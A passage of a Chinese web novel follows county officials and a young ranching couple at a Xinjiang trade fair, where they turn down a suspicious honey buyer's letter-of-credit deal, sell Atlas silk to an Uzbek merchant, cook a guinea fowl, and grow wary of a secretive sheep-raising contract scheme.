对方笑着解释了起来,“蜂蜜可以药用，可以用来治疗咳嗽、喉咙痛、消化问题、伤口愈合等，而且在一些食品中也是需要添加蜂蜜的，用途不小。我们库马尔老板主要做的就是跟蜂蜜有关的贸易,所以需求量确实比较大。” 众人这才了然地点头，随后由其他人来介绍县里蜂蜜的情况。 县里的蜂蜜被比较粗暴地分为两大类，分别是野生蜂蜜还有养殖蜂蜜。 野生蜂蜜的量比较小，但是价格高，不过人家营养成分也比养殖蜂蜜高啊！ 但野生蜂蜜的采集一般也会比较危险，大多数不是在悬崖上就是在树木上，而且每次还要面对野生蜜蜂的攻击，非常危险。 “你们野生蜂蜜的主要花源是什么？”翻译问道。 姚新泉几人的目光忍不住落在了一旁的印度商人身上，对方很是傲慢，从过来到现在就没有用正眼看过他们，不过这些都无所谓，能做成生意做重要。 来的人中有一人之前曾负责过一段时间的蜂蜜收购工作，所以他还比较了解，赶紧道，“大部分还是山花蜜，主要包括苜蓿花、草木樨、野蔷薇还有牛至、沙棘之类的，都是比较常见又很不错的花。另外还有一些向日葵花和果树花，我们的野生蜂蜜都是直接从专门的采蜜人手里进购的，他们会对蜂蜜进行初步的筛选，不管是质量不好的还是特殊的花蜜都会淘汰掉。” 野生蜜蜂你是没办法去控制它采什么蜜的，所以确实会有一些比较特殊的蜂蜜，比方说阿魏蜜。 别看这个名字听上去跟阿魏菇好像关系不小，但实际上阿魏菇是生长在一种叫阿魏的植物边上的蘑菇，而阿魏蜜则是蜜蜂采集了的树脂或者提取物酿制成蜂蜜的，不是采集阿魏菇的分泌物酿蜜。 阿魏蜜在传统医学上被认为有助消化、驱寒功效，但口感比较特殊，不是所有人都能接受的。 而且这东西也被不少人说会刺激子宫，所以孕妇不能服用。 还有骆驼刺蜜，据说好像含有什么微量的生物碱，对人体倒是无害的，但还是有不少人很忌讳。 类似这些特殊的蜂蜜，采蜜人是能够通过蜂蜜的外表和味道进行判断的，有人会专门购买这些特殊的蜂蜜，他们不会把这些蜜随意卖出来的。 翻译点了点头，小声跟商人翻译了，对方没说什么。 两人又低声说了几句，翻译这才看向眼中满是期待的众人，“你们的野生蜂蜜一年产量有多少？养殖蜂蜜呢？” 他们来之前是查看过县里的相关记载，也去跟专业人士讨论过，一下就能给出比较准确的数据。 “野生蜂蜜大概有10吨，养殖蜂蜜能有80吨。” 那两人沉吟了一会儿后给出了大家想要的答案，“你们的蜂蜜我可以订购，只是条件和其他几家的一样，我们只愿意支付20%的预付款，剩下的款需要见提单付款。” 石副县长脸上的笑意僵了一下，“预付款是不是少了点？” 翻译轻笑一声那个，脸上露出两分嘲讽来，“之前那两家公司可都同意了呢！” “不过如果你们实在是不能接受这个付款方式，我们可以开具信用证，你们可以凭提单、发票等单据向银行议付货款。” 他们来之前也了解过信用证，这下便觉得对方确实是有些诚意的。 “是不可撤销的信用证吗？”师月江突然出声，翻译和印度商人都看了过去，师月江脸上带着笑意又问了一遍，“请问是不可撤销的信用证吗？” 本以为这次还是那翻译回答，没想到是那印度商人开口了，“你倒是懂得不少，确实是不可撤销的信用证”，他的口音比较重，不过几人倒也都能勉强听懂。 见他同意了，师月江笑着点了点头，可不知道为什么心里总觉得怪怪的。 “另外，因为印度对于用于医药的蜂蜜需要符合一些传统标准，比如特定的花粉含量、酶活性等，所以我们还需要一批蜂蜜用于检测，这部分的检测费用及运输费用都需要你们来承担。” 石副县长被着一茬又一茬的要求和问题搞得有点烦躁，“检测费和运输费用大概多少钱？” “检测费用大概在2000美元，运输费用最多也就一千美元。” 石副县长咬牙，现在一美元大概是相当于5.51元人民币，那这三千美元基本上就15000元了，蜂蜜才多少钱？ 现在新省这边野生蜂蜜平均售价大概是每公斤10元，养殖蜂蜜的花大概是每公斤4元，15000元那就是一吨半的野生蜜或者是将近4吨的养殖蜂蜜啊！ 哪有钱？这个钱谁出？ 他们不像人家是一个公司，就算有什么前期的成本，公司承担掉就好了，他们这些任务最终都会摊派到下面的村镇去，难不成问老百姓要钱？ 县委账上的话，他们出来倒是带了一笔钱，但那是以防万一的，等回去了还得还到账上，如果用了这个钱那也会随之而来各种问题啊！ 石副县长发愁了一时没给回复，那两人见状对视一眼后掏出了一张名片，“我们在乌洽会结束之前都在酒店，想好了可以来找我们商谈合同细节，我们还要看看别家的蜂蜜，告辞！” 两人走了后石副县长忍不住叹气，“我是不是太小家子气了？有些花销是不是必须得出的？” 师月江摇了摇头，刚想说什么就听姚新泉道，“我觉得未必”，她是不动经济，但是她会算账啊！ “咱们签的两份合同都是一年期的合同，咱们的蜂蜜按照国内的价格来算的话，一年的总产值大概在44万左右，合同还没签就先支付一万五，那之后呢？是不是还得咱们承担运费？而且预付款只有20%，如果对方见到货了不愿意付款，难不成咱们打国际官司？到了第二年就算还想订购，是不是还要重新检测？” “不是还有信用证吗？还是不可撤销的？”石副县长有些犹豫。 师月江摇了摇头，“再是不可撤销的也能钻空子，我觉得可能有点问题，咱们先别急，我找人打听打听，你们也去那两家公司了解下情况吧！” 石副县长想了想也是，也不急在这一天半天的。 这要是他的东西怎么都无妨，但这是老百姓的东西，有一点损失他都懊恼。 这位印度商人离开后没一会儿就有另一位外商径直朝他们走了过来。 原来这人是阿扎马介绍过来得，阿扎马不做这些服装生意，但他也认识不少合作伙伴，见人家要，又问了他，他便随口提了几句，只当卖个人情，能成也好，不能成也罢，他都无所谓得。 贾拉尔一到这里目光就落在了那名跳舞得模特身上，他凑过去摸了摸，艾德莱斯的手感很好，顺滑、柔弱无骨的同时却又有着一股韧性，而且因为采用传统手工扎染和织造工艺，绸面会保留细微的凹凸纹理，看上去更有层次感一些，而且会有一种手工制作的古朴感，跟别的面料很不一样。 而且艾德莱斯的光泽感很好，不会反光强烈，很柔和低调。 贾拉尔点了点头，品质不错。 “你们这是传统织机织的”，贾拉尔很是肯定地说。 他用的俄语，师月江给众人进行翻译，一名主要负责服饰这一块儿的工作人员也提前了解过，便主动解释，“是这样的，我们的艾德莱斯绸都是用的传统纺织机织的，虽然说效率肯定比不上机械生产的，但是却会更有特色”，他没有去盲目说机械的更好或者传统的更好，而是说更有特，这一点贾拉尔也没办法反驳。 他点了点头，没阻止对方继续说下去。 第189章 “机械或者半机械生产在生产效率上面确实远远高于用传统纺织机来织布,这一点是毋庸置疑的”，工作人员没有否认这一点。 来之前他们曾经针对这些事情专门开过会，讨论过后大家一致认为不能否认的事情就不要否认。 这摆在眼前的事情你都否认了,除了证明自己蠢还能证明什么？ 难不成你说自家运用传统纺织机织就的艾德莱斯绸效率会更高？成本会更低？ 谁都不是傻子。 既然否认不了那就不要否认,只要说出自己的优势就行。 “传统纺织机因手工张力不均,织物密度略低,手感蓬松透气,而且这种织物纬线偶尔出现轻微错位或结节点,形成的手工痕迹，反而会增添织物的立体感”，他指着布给对方看。 “而机器织就的，因为机器张力均匀,织物更紧实光滑,手感偏硬挺,初期穿着可能略显僵硬，需要多次洗涤才会逐渐变软。而且机器织就的图案重复精确，但缺乏手工的灵动变化,布这种东西穿在身上感觉是不一样的。” “当然了,还有许多区别，您是做这个生意的,您肯定比我们了解的更多”,他捧了对方一句,但贾拉尔也只是略笑了笑,并没有其他的表示。 众人一时间沉默住，不知道他是有什么其他想法还是…… “其实我就算不买你们的艾德莱斯，我也可以直接在国内买，似乎并没有直接从你们这购买的必要。” 姚新泉两人对视一眼,师月江微微点了点头，没等其他人给反应他便朝贾拉尔道，“我无意冒犯贵国，只是据我所知贵国国内虽然也有类似艾德莱斯的阿特拉斯，但是前些年因为各种原因，贵国的传统纺织业受工业化的冲击，部分手工技艺失传或简化，而我们新省的技术保留的非常完整，至少在艾德莱斯这一块儿，你如果想把握稍微高端一点的市场，那你的目光就不可能放在国内的布料上。” 姚新泉低声跟石副县长他们解释师月江在说什么，她虽然听不懂俄语，但是之前两人了解过这些资料，如果是自己去说，大致也是说这些话。 对方之前自我介绍的时候说了他是乌兹别克斯坦的，两人自然会想到这些。 众人的心不免都提着，等对方的反应。 贾拉尔很是诧异，“看来你们是真做了不少工作啊！”他倒没什么不高兴的，事实就是这样。 技艺是需要传承的，从二十年代到苏联解体前，年轻劳动力被分配到工厂，家族作坊模式瓦解，师徒制传承中断。 而且苏联推行轻工业国有化，传统手工纺织被视为落后的生产方式，政府又扶持机械化丝绸厂，导致手工织造萎缩，这都是客观存在的问题。 再往深处说，也不乏是那时候想要去“民族化”，所以在那七十来年里他们自己国家的绸缎技艺断代了。 想断掉容易，想续上却难，再加上现在不少人还是更推崇现代化的生活方式，倾向于穿西式服装，所以除了重大场合，穿这些的人也少。 但是贾拉尔发现了商机，国家独立之后，为了摆脱过去对他们的影响，某种意义上这些传统的带有民族特色的物品也会被赋予更大的含义。 未来也许他们本国的绸缎也会复兴，但是在此之前，这一块儿的市场肯定还是由进口产品占据的。 知道糊弄不住他们，贾拉尔也就不再提这些了，他指着模特身上的红裙子问，“你们只有这一种颜色吗？” 工作人员赶忙把他们带来的一些具有特色的艾德莱斯搬了上来，并开始做介绍。 “新省的纺织品有我们自己的特色，像模特身上的红裙子，这是用的天然染料，也是咱们北疆特有的植物，跟你们中亚国家染红色布匹常用的石榴皮或茜草不太一样，色调偏暖橙，阳光下有金色光泽。” 他们用的是北疆的野生红花，这个红花跟药用的红花没有任何一点关系，这种红花可以提取红色和黄色，染出来的颜色非常漂亮。 “还有这种紫红色的艾德莱斯，你们一般是用紫胶虫或葡萄皮染的，我们的颜色更浓郁，稳定性更强。” “黄绿色的艾德莱斯，你们是用核桃皮染，我们是用别的植物提取的，颜色会更清透一些。” 他一连列举了好几个，姚新泉在一旁听的脸都绿了，你想卖给人家东西，也不能直接拉踩人家本国的吧？你这让人家怎么想？ 师月江给了姚新泉一个让她放心的眼神，他肯定不可能直译，这位同志性子太直了，他虽然也不是太会说话，但是婉转一点还是成的。 见他只是匆匆略过粉色的一匹艾德莱斯，姚新泉想了想把自己之前做的一条粉色连衣裙翻了出来，她这两天担心万一有个意外在外面好歹有身替换的衣服，所以包里都装了一件衣服，今天带的就是一条由粉色艾德莱斯做的裙子。 贾拉尔的目光落在了她手上的裙子上，姚新泉抖落开裙子，“艾德莱斯也不止能做一些传统服饰，我们也生产了一些颜色更清亮更年轻的布匹，更适合现代都市穿着，我相信你如果采买了这些，你的销售渠道应该比你想得要宽。” 这匹艾德莱斯绸缎没有专门带过来，他们认为没有市场，但是姚新泉很喜欢。 或者准确地说这是一匹改良的艾德莱斯绸缎，会更日常。柔和的粉色调如烟霞晕染，既衬肤色又不过分甜腻，再加上剪裁利落，整体摒弃繁复装饰，仅以面料本身的纹理为焦点，阳光下泛着哑光丝质感，不管是上班还是逛街，什么场合都可以穿的。 贾拉尔的目光被吸引在那条裙子上挪不开，“这也是你们生产的吗？” 姚新泉点了点头，眼中满是欣慰，“是一位年轻的哈萨克族女孩儿做了些改良和创新，大家担心你们会不喜欢所以没有带来。” “怎么会不喜欢？”贾拉尔听了翻译后赶忙反驳，众人从他的表情中就可以看出他是真的喜欢这块儿料子。 几人面面相觑，他们推销了这么久，结果对方反而对这个更感兴趣？ 之后的事情便是水到渠成了，对方不仅订购了数量不少的传统艾德莱斯，这种改良版的也订购了相当大的数量，算是大手笔了。 除此之外，对方竟然还订购了一批帽子跟鞋子，如果阿扎马他们俩后续不增加订单的话，贾拉尔的订单就比他们俩加起来的还要贵了。 一天结束后石副县长高兴得嘴都合不拢了，等回到招待所才想起来那名印度商人的事情，“也不能全压在你们两个娃娃身上，我也找人去问问”。 石岳文自己都有点不大好意思了，所有事情都指望着人家，干脆这个副县长也由人家做好了呀？ 两人自然没意见，师月江先去给师星野打了个电话，电话那头师星野听到是印度商人后便冷笑了一声，“你有怀疑是对的，他们那些人啊”，他话没说完，但是嫌弃的声音隔着大哥大他都能听得清清楚楚，姚新泉自然也是听到了，忍不住笑。 “那大哥你是觉得有问题吗？” 师星野嗯了一声，“别觉得什么不可撤销得信用证就没风险，人家做生意可不老实了！” “如果用得是一些小的已经快倒闭得国际银行，也许你们还没拿到钱，银行就没了。” “而且你不会真以为加了不可撤销几个字就真的不可撤销了吧？”师星野一个没烟瘾 得人提到这个事儿都想掏出烟来抽上两根，“你哥我早年在他们手上可是吃了亏得。” 没等他追问，师星野自己就讲了起来，他也没觉得有什么好尴尬的，做生意被人坑这不是很常见的吗？更别说是跟外国人了。 “如果单据不符，银行是会拒付的，比方说提单日期晚于信用证规定的最迟装运期，或者发票金额或货物描述与信用证不一致还有检验证书、原产地证等缺失或信息不符都是会被拒付的，我当年就是被他们以原产地证不符合要求为由拒付了。” “然后呢？”姚新泉忍不住追问。 “那些王八蛋就以此为由要求降价啊！你降价那就等着亏损，你不降价那东西到他们海关了，他们是有个什么狗屁政策，货物到了他们港口如果多少天内不去领，他们是可以拍卖的，到时候那些狗东西再以低价把货拍回去，那你哥我就血本无归了！” “至于打官司”，师星野叹气，“我之前听律师讲了，他们那边的这类国际诉讼五到十年起步，你说让我怎么办？我哪有时间跟他们耗？” 两人面面相觑，没等说话就听师星野继续道，“还有那个检测，我不知道你说的这个公司是个什么来头，要是再坑一点，人家可能就真的只是来骗个检测的样品的，别以为他们做不出来。” 好吧，两人这下是真的不知道说什么了，飘洋过海就为了过来骗点儿样品？ “反正之前广交会是出过类似的事情，他们在国际上口碑是真不行”，师星野心里觉得膈应，但有时候又不得不跟他们做生意，唉！ 三人又聊了一会儿之后才挂了电话，两人也没等，跑去石副县长和谢局那边汇报情况了。 第190章 石副县长和谢局两人其实也没歇着,也联系了些朋友战友之类的，他们没听过这家公司，不好说有没有问题,但也纷纷劝告要谨慎一些。 两人正发愁着就听到了姚新泉两人的汇报,石副县长想了想最终咬牙拍板,“蜂蜜的事情就算了。” 这个决定其实也没这么难下,从前他们是没有什么销售渠道,北疆这边人不算太多,有钱并且愿意花钱的人也未必回来买他们县的东西。 但现在多了师星野那边的渠道，他们的很多农副产品并不愁卖不出去。 而且本身产能有限的情况下，师星野那边消化一些，本地再消化一些也剩不了太多了,如果有剩余的,那再想办法就是了。 再说了,他们这次签的三个订单都不算小，还是那句话，县里产能有限,他们得集中人力集中资源去应对那三个订单,毕竟这种国际订单如果没有处理好的话，违约金不低是一方面,影响也不好啊！ 还有就是,他是真舍不得花那15000块钱啊！ 这都快抵上他一年的工资了！ 时间过得飞快,转眼就到了最后一天,石副县长三个领导给下面的除了翻译之外的几人都调休，让他们可以安排时间去逛一逛买买东西。 姚新泉和师月江两人大采购，国内的食品两人就没怎么买，国外的买了一堆,像是俄罗斯的巧克力、伏特加、鱼子酱，吉尔吉斯斯坦的果酱，格鲁吉亚的葡萄酒之类的。 她看了几件驼毛大衣觉得很不错，给家里人都买了一件，还有克什米尔的披肩，她是不咋用的上，但也给自己买了，还给家里几位女性长辈也一人买了一条。 巴基斯坦的绿松石饰品很有意思，她差点给人包圆了，还有和田玉雕以及原石她也喜欢，想了想买吧！ 两人大采购了一番后乌洽会算是结束了，其他人还是坐火车走，姚新泉两人开车，不过出发前，两人把给师星野的礼物直接邮寄了回去，剩下的装在车上带回去。 小猫果然不愿意留下，非要跟姚新泉两人回家，她自然没有阻止的道理，带着小家伙就上车了。 师月江看着哼着歌儿看起来心情不错的姚新泉忍不住问，“你那三元杂交羊也没见谁感兴趣，你也没见不高兴啊？” 姚新泉笑了，反问，“那要是有人没带羊，甚至告诉你羊还没养出来，让你跟他订购，你会吗？” 师月江失笑，行吧，他也就是怕姚新泉失望，但见她想的很开，也就放心些了。 “我本来就是过来见见世面的，想做什么最起码也是明年的事情，今年过来认认路，再加上我觉得咱俩贡献也不算小，明年如果羊真的养出来了，我想拿出去在乌洽会上卖的话，我觉得领导会给我这个面子的。” 她也不是说抢功或者觉得这里面功劳全是他们俩的，但他们出了不少力，并且做了不少成绩，这不假吧？ 如果明年还是石副县长当领导带队，那自然没什么说的，如果是其他领导，那看在今年的份儿上，想来也会有机会？就算真不行，她不是还留了阿扎马的联系方式？办法都是人想出来的嘛！ 这也是她这次这么出力的一个原因吧！ “对了，那两家蜜源公司还是跟那家印度商人签合同了，石副县长去提醒，倒被他们阴阳怪气了一通给气回来了”，师月江嗯了一声，他当时不在，但是能想象。 “这事儿咱们报到主办方那边了，也去人家那边说过了，能做的该做的都做完了，说难听点儿，良言难劝该死的鬼”，师月江眼中满是冷意，他又不是什么大圣母，难不成还要他们求着人家别签合同？ 再说了，这种事情他们和对方都有风险，如果没事儿，那人家会不会说是他们决策失误呢？ 两人没再谈这个话题，毕竟跟他们这些小人物也没什么关系。 不过两人不知道的是，就是这么巧，姓童的在一次石副县长也在现场的会议中提及了此事，认为是石副县长决策失误造成了国家损失。 没想到会议还没结束，市长那边就接到上面通知说是那个印度商人确实是骗了那两家蜜源公司的用于检测的蜂蜜及检测费用后，消失了。两家公司损失最起码十来万。 同时，还查到对方曾以另外的姓名在广交会上作过类似的事情，这事儿已经立案了…… 童副市长当场黑脸，石副县长完全不给对方面子，扑哧笑出声来，反正两人的仇已经结下了，他不落井下石已经算他有道德了，这算点儿什么？ 这些都跟姚新泉他们没关系，两人回来后收拾了家里，安抚了小崽子们，又调解了新成员和老成员的矛盾后投入了忙碌的牧场生活中。 珍珠鸡能吃了！ 家里珍珠鸡有687只，其中母鸡少一点，302只，剩下的都是公鸡，但是需要留差不多60只公鸡做种鸡，那能吃的就有325只。 数量不算少，她专门去问了老马做不做家禽的生意，但是对方说自己不懂家禽就不做了，不过对方给她推荐了一家自己常合作的餐厅，规模不算特别大，但是给的价格还挺不错的，所以姚新泉留够了自家要吃的，要送人的和要留下配种的，剩下的一股脑全给了对方。至于对方是全宰了还是养着慢慢吃就不关她的事情了。 姚新泉看着师月江烫鸡毛问，“你打算怎么做？” “今天先红烧一只吧？”家里就他俩，剩下吃熟食的小家伙们最多尝尝味道，像是狗狗军团们，他们的饭是专门配的，除了鸡肉，像牛肉、兔肉之类的还比较常吃，他们不缺肉。 倒是几个吃生肉的小家伙们，像是小雪豹还有小沙漠猫，他们是吃生肉，但是两个家伙都还是幼崽，给他们吃一些再配一些别的也就成了。 “也不知道那些小家伙们离开牧场习不习惯”，姚新泉捧着脸叹了口气，家里之前救助的小动物们里面，像是赤狐幼崽、属兔幼崽还有盘羊以及那只陆龟都被带走了，剩下的基本都是不太方 便放归的，像是鹅喉羚，它角断了，虽然说也不至于就没办法在野外生存了，但是又没同伴，就它一个，出去不是送死吗？ 后来的小马鹿倒是被家人接走了，大马鹿不愿意走便留了下来，现在天天跟那两匹相对稳重一些的汗血宝马混在一起。 炽焰也被接走了，他的战友在能下床后立马就跑了过来专程接他，加上他本身也是在恢复阶段，短期不要载重物，不要加速跑，一般问题都不大。 再加上新接的房子也盖好了，嫌地方小不愿意在屋里住的小家伙们现在都每天回来睡觉，所以算起来，畜棚里面确实空了好多。 师月江安慰了两句就开始炒鸡，这鸡是刚杀的也不需要焯水，直接红烧就行。 “咱俩还没尝过呢，都卖掉好多，要是太好吃我肯定得后悔”，姚新泉端着杯蒲公英茶笑。 当时他们拎着一只鸡去了对方饭店，对方以前吃过珍珠鸡，而且他家这鸡养的也好，对方都没杀就同意了，所以俩人确实还没吃过。 “我觉得咱家这家禽在规模起来之前是别想赚什么钱了，我都想塞肚子里去！” 像之前的鸭子，因为数量少，基本全被自家吃了。 “但你让我扩大规模我也不太想”，姚新泉又叹了口气，数量一大了就容易生病，他们就得上些心了。 最重要的是至少到目前为止，养殖家禽对她来说可没养羊赚钱，所以就算将来扩大规模也有限。 师月江不对这个发表意见，他只是道，“反正你自己看，你想扩大咱就扩大，不想扩大就这样自家人吃吃也挺好的”。 姚新泉笑了笑，不觉得他说了句废话，反而觉得挺好的。她是真不喜欢别人对自己的事情指手画脚，哪怕那个人是师月江。 师月江也蛮喜欢这种状态的，他听人安排就好了，他现在就喜欢听安排，这种生活反而让他觉得踏实。 将铁锅烧至冒烟，师月江倒入一勺花生油，等油面立泛起细密的波纹后将姜片和蒜瓣滑入锅中，“滋啦”一声，香气像被引爆般炸开。 随后放入干辣椒和八角，在热油中翻滚成焦糖色，辣味混合着香料的气息直冲天花板。 再将鸡块倾泻而下，重重砸在锅底。师月江赶紧抡起锅铲反复翻炒，让每一块肉都裹上油光。鸡肉边缘渐渐蜷曲，表皮泛起金黄焦斑，再将料酒沿锅边淋入，倒入酱油后鸡肉被酱汁染成诱人的酱色，师月江赶紧倒入半瓶啤酒再转小火，盖上锅盖。 汤汁在锅里咕嘟着，姚新泉抽了抽鼻子，“可真香啊！月江，你真能出去当大厨了！” 师月江莞尔一笑，可不是什么人都能吃得起他做的饭！ 等汤汁差不多收干后，师月江用筷子轻戳，见鸡肉一下就能被戳烂，他赶忙撒上一把葱段，再翻炒两下，出锅！ 师月江为了吃鸡肉专门做的米饭，姚新泉盛好米饭，又把提前拌好的皮辣红还有拍黄瓜端到桌子上，“开饭！” 她迫不及待地夹起一块儿鸡肉放入嘴中，咸甜交织的滋味在舌尖炸开，肉质酥烂却仍有嚼劲，纤维间渗出混合着酒香的肉汁，还带着一股野味才有的特殊口感，很不错。 最妙的是关节处的脆骨，嚼起来咯吱作响，裹挟着八角与辣椒的余韵。她干脆舀一勺酱汁浇在米饭上，米粒也被染成红褐色，每一颗都吸饱了鸡肉的鲜甜。 “香！” 190-200 第191章 “新泉啊,村里合作社开始帮人家代养羊了，说是人家公司到时候的回购价格比市场上的高三成，你要不要也去问问看养不养？”今天姚新泉来给小羊们做检查,马合木提江看到她后一直欲言又止,在她快走了的时候最终还是叫住了她问了出来。 她本来还以为对方是想借钱或者有什么难言之隐,没想到竟是这么一回事儿？ “什么代养羊？帮谁养？养的什么羊？靠谱吗？”姚新泉眉头不禁皱了起来。 这几年社会上变化太大了,不少人找了各种各样的由头出去骗人,偏偏因为各地的讯息传播不方便,所以很多在别的地方犯案的人，改头换面来了另外一个地方，换汤不换药，还能再骗！ “我咋都没听说啊？” 从乌洽会回来也有小两个月了,再过不久都快要下雪了,她忙着囤积饲料,还得给家里羯羊和牛增肥，所以没怎么关注外面的事情。 但即便如此，都在一个地方住着,真有什么事儿她怎么一点消息都没听说啊？ 马合木提江夫妇两个对视一眼表情都有点尴尬,“那什么，你别出去跟人说啊,这不是那个公司跟村里建的合作社签订了个什么合同,还要求合作社以及社员对此都得保密,否则还要赔什么钱还是咋回事儿的！” “之前有一次我们回去后合作社里就专门开了个会,大家举手表决看同不同意去做这门儿买卖，少数服从多数，我们上次回去的时候那羊都领回来一段时间了。” 见姚新泉皱眉，马合木提江赶忙解释,“不是我们瞒着你，主要我们自己也心里没个准，我跟你婶子两人都是弃权的，所以也没想着通知你”。 他俩早年也自己养过牛羊，后来因为一场大雪冻死得差不多了，从此就跟着姚爸他们干。他从小就开始放羊，算到现在这都四十来年了，虽说不懂什么科学养殖之类的新鲜玩意儿，但是多少还是有些经验的，所以也不是很想贸然去养殖什么。 他们是长了眼睛的，姚新泉牧场里养了他们之前从没养过的湖羊还有什么杜泊羊，但他们每次到了牧场的生活区去找姚新泉的时候，只要她手上没活儿，那就肯定在看书，人家是专门学习了才敢走一条新路的。 他们夫妻俩自问没那个本事，所以也不想去折腾，但无奈，合作社里想赚钱的人太多了，没人听他们的。 “那现在是觉得还挺靠谱？”不然为啥突然跟她说这个事情？ 马合木提江表情有些有些复杂，半晌摇了摇头，“我也说不上来，那羊长得确实不算慢，但我不知道是本身就在高速生长期还是吃了他们那个饲料才会这样。” 姚新泉深深看了他一眼没再说什么，只是点了点头便离开了。 等到家后她忍不住跟师月江感慨，“他们小心思也不少啊！”还说什么让她去养，实际上不就是想让她去探探底嘛？ 有保密协议，难道那协议是今天到期？之前遵守了协议不说，现在怎么又突然说了？ 师月江路过她笑着摸了摸她的头发，然后拿着叉子把晒着的牧草摊摊平，“也不至于有什么坏心思，就是说话兜圈子耍了个小心眼而已”。 这夫妻两个其实还是比较老实的，他俩跟着姚新泉爸妈干了这么久，突然跟着姚新泉干，也没说欺负她脸嫩或者偷奸耍滑，这么一年多的时间里也算是勤勤恳恳了。 姚新泉微微叹了口气，拿起另一把叉子跟他一起干活，“我知道，也没生他们的气，就是感慨两句而已”，她话音一转，“不过我确实觉得不是太靠谱，神秘兮兮得搞什么代养，还要求保密，真出了什么事情谁都不知道，到时候想找人都难！” 她一脸无奈地看着师月江，“你说这不会又是个骗子吧？这些人怎么就可着新省这边折腾呢？” 听说马进宝那批人里藏得最深的头目还没被翻出来，这个还得查，至于其他人已经开始走流程快判了。 涉案金额那么大，里面的主犯是肯定是会判死刑的。 这才消停多久，又出了一个？ 师月江见她真上心了也停下了手上的活儿，他想了想还是摇头，“我觉得还是不太一样的，马进宝那批人纯粹是空手套白狼，但这个所谓的代养，他们是提供了羊娃子的。不过里面套路也挺深的，不管是那些饲料还是后续的收购，里面水绝对深”。 对于这一点他很是肯定，毕竟不算在什么时候，都别想着能有什么天大的赚钱的好事儿掉落在自己身上，如果有，那一定好好想想，凭什么？ 是自己能力比别人强还是人脉比别人强？还是会什么技术又或者有什么其他原因？ 天上掉馅饼的事情还是少，真掉了东西，到底是馅饼还是鸟粪可不好说呢！ “就是说啊”，姚新泉叹气，“而且他们签了保密协议，我还不好随意过去问是不是有这么回事儿，我一问，人家不就知道了肯定是他们夫妻俩跟咱们说的嘛？” 虽然说马合木提江他们有点小心思，但绝对不是坏人，而且认识这么久了，他们也知道自己不是那种见到点儿所谓的利益久会蒙头往上冲的人，自己绝对不会轻易被骗，所以他们才敢这样说，这一点姚新泉还是很肯定的。 毕竟就算她不会看人，她爸爸妈妈信任了那么多年的人，也不至于在人品上有这么大的瑕疵。 “这些人真可恨！”姚新泉满脸都是怒意，咬牙骂道，“老百姓赚点儿钱多不容易，他们就想方设法来掏兜，都是血汗钱啊！” 别看社会在发展，但不管到了什么年代，农民、牧民的日子 都不算好过，兜里有的那点儿钱可都是一分一毛攒下来的，就这样还有人惦记！ 师月江一时不知道怎么劝她，想了想还是道，“也不是只有农民牧民受骗，之前城里不一样有被骗的？好多人说有渠道能买到紧缺的产品，然后给人伪造一些百货商店或者供销社的单子，收了人家钱，等人去领东西才知道被骗了” “还有之前很多港商回乡投资，有人也借着这个名头搞诈骗，收保证金之类的，不一样有很多人被骗？” 姚新泉失笑，没忍住锤了他两拳头，“你这是什么地狱笑话嘛？”所以不止村里的老百姓受骗，城里的一样会是吗？ 师月江尴尬地挠了挠头，没再说什么，不过两人都有心去查查到底是怎么回事儿。 姚新泉打算去山下问问情况，找了个由头跟师月江两个就去了村里周会计家。 周会计见两人过来先是一愣，随即便乐了，“稀客啊，你们怎么过来了？”说着拉着两人往里走，又给两人洗苹果吃。 “周会计不忙，我过来就是想问问，我听说你们家今年还种了不少油葵是吧，卖了嘛？没卖的话我打算买点儿。” 周会计没想到她来问这个便笑了，“我家今年种的晚，村里的油葵半个月前都收了，我家的你叔这两天才刚收，还没来得及处理呢，你要多少，也别说买了，拿回家吃呗！” 这话姚新泉可不敢当真，一两公斤倒无所谓，她要的可不少。 “三五百公斤还是要的”，她想了想回答道。油葵可以榨油，也可以炒着吃，她跟师月江两个人一年吃油就得二十来公斤，到时候给家里人送一点，榨油剩下的油葵粕可以喂牲畜，也不浪费。 周会计没想到她要这么多，本来以为三五十公斤就差不多了，这数量差不多是自家收的一半了，给她出这些，剩下的自己家里留着，她家里人不少，这样明年也就不用买油了。 也没再提送不送的话，两人谈好了价格后周会计跟她老公两人去称油葵跟打包了。 姚新泉也跟着去，路上状似随口问了一句，“我这阵子没下山都没怎么注意到，我看村头好像盖了畜棚是吧？是村里谁家养牲畜了？” “不是，是合作社养的”，提起这个周会计就不大高兴，没忍住抱怨了起来，“还不知道能赚多少钱，天天先往里头贴，这银行贷款到时候都得还不上！” “现在草原上还有草，也不用单独补饲料吧，除了买羊的钱应该没啥要花的地方啊？还是你们跟我一样也买的羯羊育肥？那投入确实不小。” 周会计她老公是个闷罐子，平时在家里两人话都不多，跟小辈儿说这些他们也不爱听，见姚新泉感兴趣，刚好她也一肚子意见，便没忍住抱怨了起来。 姚新泉给了师月江一个眼神，师月江笑着垂下了眼睛，两人是故意来找周会计的。 周会计这人还不错，也挺热心的，但这人嘴挺碎，藏不住话。 再加上她得做账，所以合同什么的她手里也都有，这事儿除了问赵明和叶尔江，问她算是最靠谱的。 “咱们合作社从银行那边贷了一笔钱，有的用于支付租赁社员土地的费用，有的用于别的支出，但大头多被用来买羊了。” 第192章 “买了多少啊？” “五百头,都是两三个月的羊娃子。” 姚新泉皱眉，除了一些专门的肉羊，比方说像是杜泊羊和萨福克羊这种大概六个来月就能出栏以外,本地的大多数绵羊都得要将近10-12个月才能出栏。 就算他们羊是九月份买的好了,10个月出栏,差不多要养到来年五月,这不开玩笑呢？ 姚新泉自问养羊算是大手笔,舍得掏钱了,但是她育肥的羊也基本在年前甚至是十二月左右就卖掉了。 为什么？ 饲料不要钱啊？天上会掉饲料啊？ 北疆的冬天很漫长的，如果遇到极端天气，从11月份开始到来年五月，将近7个月是没办法在室外散养的,她得囤多少饲料才能喂的过来？ 如果合作社资金充裕底气足的话她也就不说什么了,但他们的钱可是贷款来的！是要还的！ 而且听马合木提江的意思,饲料也比市面上的要贵，这得投入多少钱？ 姚新泉脸上的担忧不是演出来的，“这得花多少钱啊？” 周会计一下就觉得还是这小姑娘懂事,不像那几个老家伙就知道伸手要钱,她不同意给，那些人还阴阳怪气觉得好像自己抠门,守公家的钱跟守自家的钱一样！ 但问题是她如果轻易给了,将来没钱了那些人一样得找自己,质问自己钱都用到哪里去了！ 周会计一把抓住了她的手,脸上全是烦躁，“可不是？这还没入冬呢，外面也没下雪，这牧场上不全都是草？我都搞不明白了,有什么不能吃的啊，就非得吃那破饲料？” 周会计很崩溃，她是没养过羊，但是没吃过猪肉还没见过猪跑吗？ 这养羊冬天之前肯定要囤积饲料啊？不然冬天喝西北风啊？ 